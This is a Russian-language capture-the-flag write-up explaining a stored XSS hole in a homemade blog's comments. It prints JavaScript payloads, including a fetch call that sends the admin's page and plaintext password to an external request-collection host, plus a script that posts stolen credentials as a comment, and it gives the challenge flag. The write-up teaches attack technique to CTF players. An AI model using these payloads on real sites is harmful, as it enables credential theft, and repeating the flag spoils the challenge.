Skip to content
This repository has been archived by the owner on Feb 14, 2023. It is now read-only.

Latest commit

 

History

History
67 lines (52 loc) · 5.42 KB

WRITEUP.md

File metadata and controls

67 lines (52 loc) · 5.42 KB

Старые добрые времена: Write-up

Есть блог. Самописный. У которого в комментариях работает форматирование. И еще кто-то умудрился добавить к нему фичу, о которой, судя по комментариям, не знал сам создатель сайта. Тут явно есть дыра.

Если открыть исходный код страницы, можно увидеть, что поддержку спойлеров добавил, действительно, автор комментария, потому что код его комментария выглядит так:

<i>[#6] от <b>h4srr</b></i>:<br>
<blockquote>
	ну-ка, а так? <style>spoiler { color: grey; background-color: grey; } spoiler:hover { color: inherit; background-color: inherit; }</style> <spoiler>тест</spoiler>
</blockquote>
<hr>

То, что в комментарий получилось вставить тег <style>, намекает на то, что текст комментария вообще никак не экранируется, и в него можно вставить произвольный HTML. Например, если мы вставим в свой комментарий какой-нибудь скрипт, он исполнится у каждого, кто откроет сайт; будем надеяться, что админ свой блог посещает достаточно часто.

Что можно сделать в этом скрипте? Во-первых, хотелось бы определиться, что мы будем пытаться вытащить у админа. Можно попробовать вытащить куки, но есть зацепка получше: в самом верху страницы почему-то кроме логина пользователя пишется еще и его пароль (мда...). Так что будем вытаскивать весь код страницы, который из JavaScript можно получить как document.documentElement.outerHTML (или new XMLSerializer().serializeToString(document), если вам так больше нравится).

Этот код страницы мы хотим отправить себе. Отправлять напрямую сообщения в Telegram из скрипта в браузере, как ни прискорбно, нельзя, поэтому придется посылать HTTP-запрос на какой-нибудь сервер, к которому мы имеем доступ. Можно обойтись без собственного сервера: например, requestbin.com позволяет создать уникальный для вас хост, все обращения к которому по HTTP вам видны. Например, моя ссылка выглядит так: https://eo3pp6sxq232cm.m.pipedream.net.

Напишем скрипт для отправки POST-запроса на этот сайт, используя в качестве содержимого код страницы:

<script>
fetch("https://eo3pp6sxq232cm.m.pipedream.net", {
	method: "POST",
	body: document.documentElement.outerHTML
});
</script>

Отправляем комментарий с таким кодом, ждем некоторое время, пока его прочитает админ, и видим, как приходит запрос со следующим содержимым:

<html><head>
		<meta charset="utf-8">
		<title>Старые добрые деньки</title>
	</head>
	<body>
		Ваш логин: admin<br>
		Ваш пароль: ugra_stop_reinventing_the_wheel_cwyy7x00l5ca<br>

		<h1>Всем привет!</h1>
		<i>опубликовано 18 декабря 2022 г.</i><br>
...

Можно было пойти альтернативным путем и использовать вместо внешнего сервиса для передачи информации сам блог, отправляя от имени администратора комментарий с секретными данными:

<script>
window.onload = () => {
	var user = document.body.textContent.match(/Ваш логин: ([^\n]*)/)[1];
	var password = document.body.textContent.match(/Ваш пароль: ([^\n]*)/)[1];
	if (user !== "anonymous") {
		var form = document.getElementsByTagName("form")[0];
		form.querySelector("[name=author]").value = user || "unknown";
		form.querySelector("[name=content]").value = "Password: " + password;
		form.submit();
	}
};
</script>

Напоследок отметим проблему, с которой столкнулись некоторые участники. По-видимому, многие пытались использовать в комментариях код вида <img src=x onerror="...">. По той или иной причине у админа оказались выключены картинки (видимо, он учился по старому самоучителю, где было написано, что так можно сэкономить трафик), поэтому такой эксплоит не работал.

Флаг: ugra_stop_reinventing_the_wheel_cwyy7x00l5ca